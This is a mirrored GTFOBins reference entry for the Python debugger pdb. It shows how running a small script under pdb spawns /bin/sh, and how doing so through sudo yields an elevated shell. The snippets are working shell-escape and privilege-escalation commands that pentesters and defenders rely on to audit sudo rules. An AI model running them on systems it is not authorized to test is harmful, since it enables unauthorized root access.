1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 10:53:35 +02:00
GTFOBins.github.io/_gtfobins/pdb.md
2020-03-15 12:35:00 +01:00

17 lines
374 B
Markdown

---
description: This allows to execute [`python`](/gtfobins/python/) code, other functions may apply.
functions:
shell:
- code: |
TF=$(mktemp)
echo 'import os; os.system("/bin/sh")' > $TF
pdb $TF
cont
sudo:
- code: |
TF=$(mktemp)
echo 'import os; os.system("/bin/sh")' > $TF
sudo pdb $TF
cont
---